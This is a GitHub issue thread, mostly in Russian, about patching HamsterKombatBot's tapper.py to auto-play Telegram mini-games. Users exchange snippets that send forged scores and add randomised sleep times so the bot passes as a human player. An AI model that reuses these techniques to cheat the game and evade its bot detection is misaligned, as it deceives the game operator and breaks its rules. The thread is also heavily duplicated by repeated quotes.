Можно совместно с этим?
game_sleep_time = {
"Candles": randint(12, 26),
"Tiles": randint(1200, 1800),
}

В функциях параметр:
game_sleep_time
заменить на:
game_sleep_time[daily_mini_game_name]

вот это где имеено менять

tapper.py - строка примерно 260
game_sleep_time = randint(12, 26)

encoded_body = await get_mini_game_cipher(
    http_client=http_client,
    user_id=user_id,
    session_name=self.session_name,
    start_date=start_date,
    game_sleep_time=game_sleep_time,
    daily_mini_game_name=daily_mini_game_name
)

меняем на:
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

encoded_body = await get_mini_game_cipher(
    http_client=http_client,
    user_id=user_id,
    session_name=self.session_name,
    start_date=start_date,
    game_sleep_time=game_sleep_time[daily_mini_game_name],
    daily_mini_game_name=daily_mini_game_name
)

В функциях параметр:
game_sleep_time
заменить на:
game_sleep_time[daily_mini_game_name]

вот это где имеено менять

tapper.py - строка примерно 260
game_sleep_time = randint(12, 26)

encoded_body = await get_mini_game_cipher(
    http_client=http_client,
    user_id=user_id,
    session_name=self.session_name,
    start_date=start_date,
    game_sleep_time=game_sleep_time,
    daily_mini_game_name=daily_mini_game_name
)

меняем на:
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

encoded_body = await get_mini_game_cipher(
    http_client=http_client,
    user_id=user_id,
    session_name=self.session_name,
    start_date=start_date,
    game_sleep_time=game_sleep_time[daily_mini_game_name],
    daily_mini_game_name=daily_mini_game_name
)

и там же, но чуть ниже (строка примерно 280) меняем:
await asyncio.sleep(delay=game_sleep_time)
на:
await asyncio.sleep(delay=game_sleep_time[daily_mini_game_name])

Цикл while cтоит убрать?

Цикл while cтоит убрать?

если ты поставишь, что ты играешь 20-30 мин, то да цикл нужно убрать.
Так как все равно при следующем глобальном цикле при котором бот перезаходит в игру, он опять отыграет 20-30 мин в эту игру.
в моем примере он за первый заход забирает с нее все монеты и при втором заходе уже видит что игра пройдена.
Просто если б я изначально так сделал, то наоборот было бы куча вопросов, что а почему у нас игра не пройдена? Вот я и решил показать наглядно в цикле, как она проходиться с технической стороны

Цикл while cтоит убрать?

если ты поставишь, что ты играешь 20-30 мин, то да цикл нужно убрать.
Так как все равно при следующем глобальном цикле при котором бот перезаходит в игру, он опять отыграет 20-30 мин в эту игру.
в моем примере он за первый заход забирает с нее все монеты и при втором заходе уже видит что игра пройдена.
Просто если б я изначально так сделал, то наоборот было бы куча вопросов, а почему у нас игра не пройдена? Вот я и решил показать наглядно в цикле, как она проходиться с технической стороны

Бро, сделай добро поделись твойм файлом а то по твоему гайду я все поменял что что то сломалось, бот не запускается

Цикл while cтоит убрать?

если ты поставишь, что ты играешь 20-30 мин, то да цикл нужно убрать. Так как все равно при следующем глобальном цикле при котором бот перезаходит в игру, он опять отыграет 20-30 мин в эту игру.
в моем примере он за первый заход забирает с нее все монеты и при втором заходе уже видит что игра пройдена.
Просто если б я изначально так сделал, то наоборот было бы куча вопросов, а почему у нас игра не пройдена? Вот я и решил показать наглядно в цикле, как она проходиться с технической стороны

если удалить цикл while is_claimed == False: то весь бот подыхает.

что из этого открывать

Поделитесь файлом tapper у кого легитно и правильно настроено все, а то какая то путаница особенно с параметром while is_claimed == False:

у меня если накатить архив на последнюю версию с гита выходит так, хз куда копать
выходит что у всех верный cipher, а у меня нет

Скиньте, пожалуйста, куда и что добавить чтобы само фармило новую мини-гру. Извините, я фулл чайник

А стоит ли удалять цикл? А скиньте пожалуйста волшебный код, я его вставлю и он заработает... Имейте совесть, это в первую очередь github issue а не stack overflow. Если по коду выше многие включая меня разобрались как автоматизировать процесс, значит и вам это по силам. Приложите усилия, дебагайте в IDE есть такая функция и разбирайтесь. Или ждите реализации без багов, потом пулл сделаете. Видите, что не рабочий функционал - подписались на issue, вырубили то, что нерабочее через конфиг и ждете. Вот кто-то напишет еще какие-то ньюансы по поводу запросов, например @lolyinseo или @yurii-zadryhun и те у кого свои боты или те кто делает пулл реквесты в этот не увидят этого, потому что надо гребаных 100 сообщений прочитать. Не надо так.

Цикл while cтоит убрать?

если ты поставишь, что ты играешь 20-30 мин, то да цикл нужно убрать. Так как все равно при следующем глобальном цикле при котором бот перезаходит в игру, он опять отыграет 20-30 мин в эту игру.
в моем примере он за первый заход забирает с нее все монеты и при втором заходе уже видит что игра пройдена.
Просто если б я изначально так сделал, то наоборот было бы куча вопросов, а почему у нас игра не пройдена? Вот я и решил показать наглядно в цикле, как она проходиться с технической стороны

если удалить цикл while is_claimed == False: то весь бот подыхает.

пересмотрел еще раз файл tapper.py который отправлял в архиве.
Попробуйте удалить "continue" его там вообще не должно быть, это я для себя в том месте делал заглушку и при удалении заглушки не удалил одну строку. А цикл while is_claimed == False: уже был добавлен. При цикле оно работает и ничего не делает а вот если цикл убрать то ломается.
Если и так не заведется, напишите я сделаю версию без цикла.
Место где нужно сделать Fix:
if daily_mini_game:
      is_claimed = daily_mini_game['isClaimed']

      if is_claimed:
          new_total_keys = profile_data.get('totalKeys', total_keys)
          calc_keys = new_total_keys - total_keys
          total_keys = new_total_keys

          logger.success(f"{self.session_name} | Successfully claimed Mini Game <lc>{daily_mini_game_name}</lc> | "
                         f"Total keys: <le>{total_keys}</le> (<lg>+{calc_keys}</lg>)")
          continue

последнюю строку continue нужно удалить
@H4X0RA

8 час мучений с настройкой этой мини игры и все в ошибках. @k0tone поделись рабочим файлом если не сложно

8 час мучений с настройкой этой мини игры и все в ошибках. @k0tone поделись рабочим файлом если не сложно

попробуй все снести бота под ноль. скачай последнюю версию бота, закинь туда архив мини игры, отредактируй конфиг по вкусу, заведи заново сессии. мне это помогло.

Минус конечно в том что во время того как выполнилась мини игра идёт время сна game_sleep_time = { "Candles"..... , "Tiles".....,} и в этот момент не покупаются карты. А если будет спать 20-30 минут потом выполнять игру будучи занят этим процессом циклично пока не кончится количество поинтов в игре, то и покупки карт будут стоять
Было бы хорошо если бы пока мини игра стоит на sleep он покупал карты и так чередовал
Также было бы хорошо если бы в эту примерную формулу max_points = 50000 * 172800 / (PPH * 28.8) брал значение PPH прибыли в час автоматически

кто подскажет как изменить название сессии/устройства в телеграм?

Internal - это название с тг девтулс

https://docs.pyrogram.org/api/client

Разобрался
ВНИМАНИЕ, фикс работает только если в конфиге параметр USE_RANDOM_MINI_GAME_KEY=True !!

max_points = 5000000 * 172800 / (РРН * 28.8)

Версию которую я выложил ранее рабочая.
Но давайте доделаем версию и с разовым прохождением игры (не в цикле) за один заход бота в игру.

Версия с полным прохождением игры в цикле, пока не заберет все доступные монеты:
HamsterKombatBot-main_GameClaimed.zip

Версия когда бот играет 20-30 минут и забирает 4кк..5кк монет за игру:
HamsterKombatBot-main_Game5M.zip

У меня уже игра пройдена, проверить пока не смог.

Минус конечно в том что во время того как выполнилась мини игра идёт время сна game_sleep_time = { "Candles"..... , "Tiles".....,} и в этот момент не покупаются карты. А если будет спать 20-30 минут потом выполнять игру будучи занят этим процессом циклично пока не кончится количество поинтов в игре, то и покупки карт будут стоять

Физически руками нет возможности качать карты пока играешь в игру, а мы говорим про версию, которая более человеческая

Было бы хорошо если бы пока мини игра стоит на sleep он покупал карты и так чередовал
Также было бы хорошо если бы в эту примерную формулу max_points = 50000 * 172800 / (PPH * 28.8) брал значение PPH прибыли в час автоматически

В версии Game5M это реализовано
Вопрос один (к тем кто знает), может кто подскажет, если у игрока, например, прибыль в час 100к, значит максимальное количество монет которое можно собрать с игры 2.8кк, то если в игре игрок наберет 5М монет что произойдет? Или в игре прибыль за схлопывание одного блока не фиксированная и зависит от РРН?
Я сейчас это никак не учитываю:
max_points = int(5000000 * daily_mini_game.get('maxPoints', 0) / (earn_on_hour * 28.8))
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.8), max_points),
}

У меня просто один аккаунт с прибылью 7.5кк и проверить данный ньюанс возможности нет.
Предложения по расчету выиграша открыты.

max_points = 5000000 * 172800 / (РРН * 28.8)

Версию которую я выложил ранее - рабочая.
Но давайте доделаем версию и с разовым прохождением игры (не в цикле) за один заход бота в игру.

Версия с полным прохождением игры в цикле, пока не заберет все доступные монеты:

HamsterKombatBot-main_GameClaimed.zip

Версия когда бот играет 20-30 минут и забирает 4кк..5кк монет за игру:

HamsterKombatBot-main_Game5M.zip
У меня уже игра пройдена, проверить пока не смог.

Минус конечно в том что во время того как выполнилась мини игра идёт время сна game_sleep_time = { "Candles"..... , "Tiles".....,} и в этот момент не покупаются карты. А если будет спать 20-30 минут потом выполнять игру будучи занят этим процессом циклично пока не кончится количество поинтов в игре, то и покупки карт будут стоять

Физически руками нет возможности качать карты пока играешь в игру, а мы говорим про версию, которая более человеческая

Было бы хорошо если бы пока мини игра стоит на sleep он покупал карты и так чередовал

Также было бы хорошо если бы в эту примерную формулу max_points = 50000 * 172800 / (PPH * 28.8) брал значение PPH прибыли в час автоматически

В версии Game5M это реализовано
Вопрос один (к тем кто знает), может кто подскажет, если у игрока, например, прибыль в час 100к, значит максимальное количество монет которое можно собрать с игры 2.8кк, то если в игре игрок наберет 5М монет что произойдет? Или в игре прибыль за схлопывание одного блока не фиксированная и зависит от РРН?
Я сейчас это никак не учитываю:

max_points = int(5000000 * daily_mini_game.get('maxPoints', 0) / (earn_on_hour * 28.8))

score_per_game = {

    "Candles": 0,

    "Tiles": randint(int(max_points * 0.8), max_points),

}

У меня просто один аккаунт с прибылью 7.5кк и проверить данный ньюанс возможности нет.
Предложения по расчету выиграша открыты.
@Sher455 @xauspro @kyt3

Закинул твой файли с 5м и такую ошыбку выдает

Или в игре прибыль за схлопывание одного блока не фиксированная и зависит от РРН?

Ага, на мелких учетках за столбики дают копейки

миниигра Tiles у меня работает, кому надо берите, пока  всё работает
https://github.com/OxFF00FF/Hamster_Mayhem

max_points = 5000000 * 172800 / (РРН * 28.8)

Версию которую я выложил ранее - рабочая.
Но давайте доделаем версию и с разовым прохождением игры (не в цикле) за один заход бота в игру.

Версия с полным прохождением игры в цикле, пока не заберет все доступные монеты:

HamsterKombatBot-main_GameClaimed.zip

Версия когда бот играет 20-30 минут и забирает 4кк..5кк монет за игру:

HamsterKombatBot-main_Game5M.zip
У меня уже игра пройдена, проверить пока не смог.

Минус конечно в том что во время того как выполнилась мини игра идёт время сна game_sleep_time = { "Candles"..... , "Tiles".....,} и в этот момент не покупаются карты. А если будет спать 20-30 минут потом выполнять игру будучи занят этим процессом циклично пока не кончится количество поинтов в игре, то и покупки карт будут стоять

Физически руками нет возможности качать карты пока играешь в игру, а мы говорим про версию, которая более человеческая

Было бы хорошо если бы пока мини игра стоит на sleep он покупал карты и так чередовал

Также было бы хорошо если бы в эту примерную формулу max_points = 50000 * 172800 / (PPH * 28.8) брал значение PPH прибыли в час автоматически

В версии Game5M это реализовано
Вопрос один (к тем кто знает), может кто подскажет, если у игрока, например, прибыль в час 100к, значит максимальное количество монет которое можно собрать с игры 2.8кк, то если в игре игрок наберет 5М монет что произойдет? Или в игре прибыль за схлопывание одного блока не фиксированная и зависит от РРН?
Я сейчас это никак не учитываю:

max_points = int(5000000 * daily_mini_game.get('maxPoints', 0) / (earn_on_hour * 28.8))

score_per_game = {

    "Candles": 0,

    "Tiles": randint(int(max_points * 0.8), max_points),

}

У меня просто один аккаунт с прибылью 7.5кк и проверить данный ньюанс возможности нет.
Предложения по расчету выиграша открыты.
@Sher455 @xauspro @kyt3

Закинул твой файли с 5м и такую ошыбку выдает

FIXED
Архив обновлен

Физически руками нет возможности качать карты пока играешь в игру, а мы говорим про версию, которая более человеческая

Да я и имел это ввиду что пока в мини игре  пауза в это время идёт покупка карт, а так конечно если физически такое невозможно то и в коде не делать лучше даже если возможно

@k0tone  в исправленном тоже какие то ошибки

max_points = 5000000 * 172800 / (РРН * 28.8)

Версию которую я выложил ранее - рабочая.

Но давайте доделаем версию и с разовым прохождением игры (не в цикле) за один заход бота в игру.

Версия с полным прохождением игры в цикле, пока не заберет все доступные монеты:

HamsterKombatBot-main_GameClaimed.zip

Версия когда бот играет 20-30 минут и забирает 4кк..5кк монет за игру:

HamsterKombatBot-main_Game5M.zip

У меня уже игра пройдена, проверить пока не смог.

Минус конечно в том что во время того как выполнилась мини игра идёт время сна game_sleep_time = { "Candles"..... , "Tiles".....,} и в этот момент не покупаются карты. А если будет спать 20-30 минут потом выполнять игру будучи занят этим процессом циклично пока не кончится количество поинтов в игре, то и покупки карт будут стоять

Физически руками нет возможности качать карты пока играешь в игру, а мы говорим про версию, которая более человеческая

Было бы хорошо если бы пока мини игра стоит на sleep он покупал карты и так чередовал

Также было бы хорошо если бы в эту примерную формулу max_points = 50000 * 172800 / (PPH * 28.8) брал значение PPH прибыли в час автоматически

В версии Game5M это реализовано

Вопрос один (к тем кто знает), может кто подскажет, если у игрока, например, прибыль в час 100к, значит максимальное количество монет которое можно собрать с игры 2.8кк, то если в игре игрок наберет 5М монет что произойдет? Или в игре прибыль за схлопывание одного блока не фиксированная и зависит от РРН?

Я сейчас это никак не учитываю:

max_points = int(5000000 * daily_mini_game.get('maxPoints', 0) / (earn_on_hour * 28.8))

score_per_game = {

"Candles": 0,

"Tiles": randint(int(max_points * 0.8), max_points),

}

У меня просто один аккаунт с прибылью 7.5кк и проверить данный ньюанс возможности нет.

Предложения по расчету выиграша открыты.

@Sher455 @xauspro @kyt3

Закинул твой файли с 5м и такую ошыбку выдает

FIXED
Архив обновлен

Ошибка не ушла

Ошибка не ушла

про это писали выше:
ВНИМАНИЕ, фикс работает только если в конфиге параметр USE_RANDOM_MINI_GAME_KEY=True

Или в игре прибыль за схлопывание одного блока не фиксированная и зависит от РРН?

Ага, на мелких учетках за столбики дают копейки

тогда предлагаю просто брать примерно 3% от maxPoints:
max_points = int(daily_mini_game.get('maxPoints', 0) * 0.03)
Тогда будет логично:
Максимум из игры можно получить 200кк - тогда мы за 20 минут игры рукамиполучаем ~6кк
Максимум из игры можно получить 200к - тогда мы за 20 минут игры рукамиполучаем ~6к
Это все для того, чтоб симитировать реальное поведение игры человеком. Я сам играл в игру пол часа и набивал до 6кк при 200кк которые можно достать из игры

Или в игре прибыль за схлопывание одного блока не фиксированная и зависит от РРН?

Ага, на мелких учетках за столбики дают копейки

тогда предлагаю просто брать примерно 3% от maxPoints:
max_points = int(daily_mini_game.get('maxPoints', 0) * 0.03)
Тогда будет логично: Максимум из игры можно получить 200кк - тогда мы за 20 минут игры руками получаем ~6кк Максимум из игры можно получить 200к - тогда мы за 20 минут игры руками получаем ~6к
Это все для того, чтоб симитировать реальное поведение игры человеком. Я сам играл в игру пол часа и набивал до 6кк при 200кк которые можно достать из игры

баланс будет обновлен завтра или когда снова начнется мини-игра, или это только один раз?

Или в игре прибыль за схлопывание одного блока не фиксированная и зависит от РРН?

Ага, на мелких учетках за столбики дают копейки

тогда предлагаю просто брать примерно 3% от maxPoints:
max_points = int(daily_mini_game.get('maxPoints', 0) * 0.03)
Тогда будет логично:
Максимум из игры можно получить 200кк - тогда мы за 20 минут игры руками получаем ~6кк
Максимум из игры можно получить 200к - тогда мы за 20 минут игры руками получаем ~6к
Это все для того, чтоб симитировать реальное поведение игры человеком. Я сам играл в игру пол часа и набивал до 6кк при 200кк которые можно достать из игры

А можно ли и эти 3% заменить на рандом ? К примеру :
max_points = int(daily_mini_game.get('maxPoints', 0) * randint (0.03 , 0.07))
Или нельзя ?

sorry i downloaded the archive what should i do with it i DON'T UNDERSTAND IT AT ALL can you tell me here or send me a video tutorial in telegram @Gggfffpppuuu please help me i hope you can help me((

I have implemented everything, thanx to everyone here!
May I know on which platform you running script?
For termux user, u can try these command (included hexa game script as well) but still-
git clone -b test https://github.com/DineshValor/HamsterKombatBot.git

cd HamsterKombatBot

bash start.tx

Новый час новые приколы, теперь скрипт вообще после Sleep виснет и на этом всё

Или в игре прибыль за схлопывание одного блока не фиксированная и зависит от РРН?

Ага, на мелких учетках за столбики дают копейки

тогда предлагаю просто брать примерно 3% от maxPoints:
max_points = int(daily_mini_game.get('maxPoints', 0) * 0.03)
Тогда будет логично:
Максимум из игры можно получить 200кк - тогда мы за 20 минут игры руками получаем ~6кк
Максимум из игры можно получить 200к - тогда мы за 20 минут игры руками получаем ~6к
Это все для того, чтоб симитировать реальное поведение игры человеком. Я сам играл в игру пол часа и набивал до 6кк при 200кк которые можно достать из игры

А можно ли и эти 3% заменить на рандом ? К примеру : max_points = int(daily_mini_game.get('maxPoints', 0) * randint (0.03 , 0.07)) Или нельзя ?

Можно, просто прибыль станет соответственно за одну прохождение игры больше, но имитируя игру человека за 30 минут вряд ли возможно набрать 7% от максимальной прибыли. Ну это по моему, так сказать, мнению :)

Новый час новые приколы, теперь скрипт вообще после Sleep виснет и на этом всё

так он же играет 20 - 30 минут вот и виснет

баланс будет обновлен завтра или когда снова начнется мини-игра, или это только один раз?

баланс будет обновлен завтра или когда снова начнется мини-игра, или это только один раз?

Если ты про галочку возле игры Hexa Puzzle, чтобы она стала опять доступна для игры, нужно ждать 24 часа

Отлично

последняя попытка:

Версия с полным прохождением игры в цикле, пока не заберет все доступные монеты:
HamsterKombatBot-main_GameClaimed.zip

Версия когда бот играет 20-30 минут и забирает 4кк..5кк монет за игру:
HamsterKombatBot-main_Game20min.zip

Не должно быть ошибки с кодом 400
в итоге можем задавать время прохождения и процент получаемой прибыли. Расчет прибыли взял у https://github.com/OxFF00FF/Hamster_Mayhem, только для себя поставил 0.2 было 0.1
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}

Можно, просто прибыль станет соответственно за одно прохождение игры больше, но имитируя игру человека за 30 минут вряд ли возможно набрать 7% от максимальной прибыли. Ну это по моему, так сказать, мнению :)

Мне доводилось встречать людей в чате, которые говорят что сами, ручками выбивают ключи из мини игр, уходит порядка 8 часов.

Парни а API  id и API hash куда надо вводить ?что-то в боте не получает запустить аккаунт ..

Guys, where should I enter the API id and API hash? For some reason, the bot won't let me launch the account.

.env file

last attempt:

Version with a full walkthrough of the game in a loop until you take all available coins:
HamsterKombatBot-main_GameClaimed.zip
Version when the bot plays 20-30 minutes:
HamsterKombatBot-main_Game20min.zip

There should be no error code 400
as a result, we can set the time of passage and the percentage of profit received. The calculation of profit was taken from https://github.com/OxFF00FF/Hamster_Mayhem , only for myself I set 0.2 it was 0.1
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}

🤔🤔🤔

Guys, where should I enter the API id and API hash? For some reason, the bot won't let me launch the account.

.env file
.env-example ? this?

последняя попытка:

Версия с полным прохождением игры в цикле, пока не заберет все доступные монеты:
HamsterKombatBot-main_GameClaimed.zip
Версия когда бот играет 20-30 минут:
HamsterKombatBot-main_Game20min.zip

Не должно быть ошибки с кодом 400
в итоге можем задавать время прохождения и процент получаемой прибыли. Расчет прибыли взял у https://github.com/OxFF00FF/Hamster_Mayhem, только для себя поставил 0.2 было 0.1
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}

в первой версии у меня бот начал покупать карточки, при том, что я это ему запретил

Просто хочется сказать спасибо @k0tone за то что стараешься и помогаешь нам, такие люди как ты делают наш мир светлее, спасибо тебе

I just want to say thank you@k0tonefor trying and helping us, people like you make our world brighter, thank you

Same from me to @k0tone and @everyone for their contribution

last attempt:

Version with a full walkthrough of the game in a loop until you take all available coins:
HamsterKombatBot-main_GameClaimed.zip
Version when the bot plays 20-30 minutes:
HamsterKombatBot-main_Game20min.zip

There should be no error code 400
as a result, we can set the time of passage and the percentage of profit received. The calculation of profit was taken from https://github.com/OxFF00FF/Hamster_Mayhem , only for myself I set 0.2 it was 0.1
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}

in the first version my bot started buying cards, even though I forbade it

Which one u use claim or 20mins ?

последняя попытка:

Версия с полным прохождением игры в цикле, пока не заберет все доступные монеты:
HamsterKombatBot-main_GameClaimed.zip
Версия когда бот играет 20-30 минут:
HamsterKombatBot-main_Game20min.zip

Не должно быть ошибки с кодом 400
в итоге можем задавать время прохождения и процент получаемой прибыли. Расчет прибыли взял у https://github.com/OxFF00FF/Hamster_Mayhem, только для себя поставил 0.2 было 0.1
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}

в первой версии у меня бот начал покупать карточки, при том, что я это ему запретил

все, пора идти спать мне...
для теста создал на второй сим карте второй аккаунт и забыл вернуть условие назад, нужно раскоментировать 444 строку и удалить 445 строку:
# if settings.AUTO_UPGRADE is True:
if settings.AUTO_UPGRADE is False and self.session_name != "Leha":

last attempt:

Version with a full walkthrough of the game in a loop until you take all available coins:
HamsterKombatBot-main_GameClaimed.zip
Version when the bot plays 20-30 minutes:
HamsterKombatBot-main_Game20min.zip

There should be no error with code 400,
as a result we can set the time of passage and the percentage of profit received. I took the profit calculation from https://github.com/OxFF00FF/Hamster_Mayhem , only for myself I set 0.2 it was 0.1
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}

in the first version my bot started buying cards, even though I forbade it

that's it, time to go to bed for me... for the test I created a second account on the second SIM card and forgot to return the condition back, you need to uncomment line 444 and delete line 445 (only for version 1, in the second everything is OK):
# if settings.AUTO_UPGRADE is True:
if settings.AUTO_UPGRADE is False and self.session_name != "Leha":

Version 1 mean <all_claimed_at_once> and 2nd was 20min_play ?

last attempt:

Version with a full walkthrough of the game in a loop until you take all available coins:
HamsterKombatBot-main_GameClaimed.zip
Version when the bot plays 20-30 minutes:
HamsterKombatBot-main_Game20min.zip

There should be no error with code 400,
as a result we can set the time of passage and the percentage of profit received. I took the profit calculation from https://github.com/OxFF00FF/Hamster_Mayhem , only for myself I set 0.2 it was 0.1
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}

in the first version my bot started buying cards, even though I forbade it

that's it, time to go to bed for me... for the test I created a second account on the second SIM card and forgot to return the condition back, you need to uncomment line 444 and delete line 445 (only for version 1, in the second everything is OK):
# if settings.AUTO_UPGRADE is True:
if settings.AUTO_UPGRADE is False and self.session_name != "Leha":

One Question!

Is there any down side if bot run all time (24×7 hours) ??

last attempt:

Version with a full walkthrough of the game in a loop until you take all available coins:
HamsterKombatBot-main_GameClaimed.zip
Version when the bot plays 20-30 minutes:
HamsterKombatBot-main_Game20min.zip

There should be no error with code 400,
as a result we can set the time of passage and the percentage of profit received. I took the profit calculation from https://github.com/OxFF00FF/Hamster_Mayhem , only for myself I set 0.2 it was 0.1
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}

in the first version my bot started buying cards, even though I forbade it

that's it, time to go to bed for me... for the test I created a second account on the second SIM card and forgot to return the condition back, you need to uncomment line 444 and delete line 445 (only for version 1, in the second everything is OK):
# if settings.AUTO_UPGRADE is True:
if settings.AUTO_UPGRADE is False and self.session_name != "Leha":

One Question!

Is there any down side if bot run all time (24×7 hours) and which one file is more suitable (GameClaimed.zip or Game20min.zip) ??

GameClaimed.zip - выглядит как робот (собирает все монеты из игры)
Game20min.zip - имитирует игру человека (за 24 часа может и не собрать все монеты).

last attempt:

Version with a full walkthrough of the game in a loop until you take all available coins:
HamsterKombatBot-main_GameClaimed.zip
Version when the bot plays 20-30 minutes:
HamsterKombatBot-main_Game20min.zip

There should be no error with code 400,
as a result we can set the time of passage and the percentage of profit received. I took the profit calculation from https://github.com/OxFF00FF/Hamster_Mayhem , only for myself I set 0.2 it was 0.1
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}

in the first version my bot started buying cards, even though I forbade it

that's it, time to go to bed for me... for the test I created a second account on the second SIM card and forgot to return the condition back, you need to uncomment line 444 and delete line 445 (only for version 1, in the second everything is OK):
# if settings.AUTO_UPGRADE is True:
if settings.AUTO_UPGRADE is False and self.session_name != "Leha":

One Question!

Is there any down side if bot run all time (24×7 hours) and which one file is more suitable (GameClaimed.zip or Game20min.zip) ??

GameClaimed.zip - выглядит как робот (собирает все монеты из игры) Game20min.zip - имитирует игру человека (за 24 часа может и не собрать все монеты).

Всёравно в Game20min.zip не покупает карты во время спячки

last attempt:

Version with a full walkthrough of the game in a loop until you take all available coins:
HamsterKombatBot-main_GameClaimed.zip
Version when the bot plays 20-30 minutes:
HamsterKombatBot-main_Game20min.zip

There should be no error with code 400,
as a result we can set the time of passage and the percentage of profit received. I took the profit calculation from https://github.com/OxFF00FF/Hamster_Mayhem , only for myself I set 0.2 it was 0.1
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}

in the first version my bot started buying cards, even though I forbade it

that's it, time to go to bed for me... for the test I created a second account on the second SIM card and forgot to return the condition back, you need to uncomment line 444 and delete line 445 (only for version 1, in the second everything is OK):
# if settings.AUTO_UPGRADE is True:
if settings.AUTO_UPGRADE is False and self.session_name != "Leha":

One Question!

Is there any down side if bot run all time (24×7 hours) and which one file is more suitable (GameClaimed.zip or Game20min.zip) ??

GameClaimed.zip - выглядит как робот (собирает все монеты из игры) Game20min.zip - имитирует игру человека (за 24 часа может и не собрать все монеты).

Всёравно в Game20min.zip не покупает карты во время спячки

так он и не должен, ну подумай, ты когда играешь в игру руками, можешь в этот момент купить карту?
что такое для хомяка простой в 20-30 минут? не особо то и много, постоял потом купил все карты и все равно уходит в спячку на 2 часа. Через два часа заходит и все повторяется. В этом и суть

last attempt:

Version with a full walkthrough of the game in a loop until you take all available coins:
HamsterKombatBot-main_GameClaimed.zip
Version when the bot plays 20-30 minutes:
HamsterKombatBot-main_Game20min.zip

There should be no error with code 400,
as a result we can set the time of passage and the percentage of profit received. I took the profit calculation from https://github.com/OxFF00FF/Hamster_Mayhem , only for myself I set 0.2 it was 0.1
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}

in the first version my bot started buying cards, even though I forbade it

that's it, time to go to bed for me... for the test I created a second account on the second SIM card and forgot to return the condition back, you need to uncomment line 444 and delete line 445 (only for version 1, in the second everything is OK):
# if settings.AUTO_UPGRADE is True:
if settings.AUTO_UPGRADE is False and self.session_name != "Leha":

One Question!

Is there any down side if bot run all time (24×7 hours) and which one file is more suitable (GameClaimed.zip or Game20min.zip) ??

GameClaimed.zip - выглядит как робот (собирает все монеты из игры) Game20min.zip - имитирует игру человека (за 24 часа может и не собрать все монеты).

Всёравно в Game20min.zip не покупает карты во время спячки

так он и не должен, ну подумай, ты когда играешь в игру руками, можешь в этот момент купить карту? что такое для хомяка простой в 20-30 минут? не особо то и много, постоял потом купил все карты и все равно уходит в спячку на 2 часа. Через два часа заходит и все повторяется. В этом и суть

Так он же в этот момент спит и уже не играет и это равносильно тому что ты физически также ничего не делаешь.

last attempt:

Version with a full walkthrough of the game in a loop until you take all available coins:
HamsterKombatBot-main_GameClaimed.zip
Version when the bot plays 20-30 minutes:
HamsterKombatBot-main_Game20min.zip

There should be no error with code 400,
as a result we can set the time of passage and the percentage of profit received. I took the profit calculation from https://github.com/OxFF00FF/Hamster_Mayhem , only for myself I set 0.2 it was 0.1
game_sleep_time = {
    "Candles": randint(12, 26),
    "Tiles": randint(1200, 1800),
}

max_points = daily_mini_game.get('maxPoints', 0)
score_per_game = {
    "Candles": 0,
    "Tiles": randint(int(max_points * 0.2), max_points) if max_points > 300 else max_points,
}

in the first version my bot started buying cards, even though I forbade it

that's it, time to go to bed for me... for the test I created a second account on the second SIM card and forgot to return the condition back, you need to uncomment line 444 and delete line 445 (only for version 1, in the second everything is OK):
# if settings.AUTO_UPGRADE is True:
if settings.AUTO_UPGRADE is False and self.session_name != "Leha":

One Question!

Is there any down side if bot run all time (24×7 hours) and which one file is more suitable (GameClaimed.zip or Game20min.zip) ??

GameClaimed.zip - выглядит как робот (собирает все монеты из игры) Game20min.zip - имитирует игру человека (за 24 часа может и не собрать все монеты).

Всёравно в Game20min.zip не покупает карты во время спячки

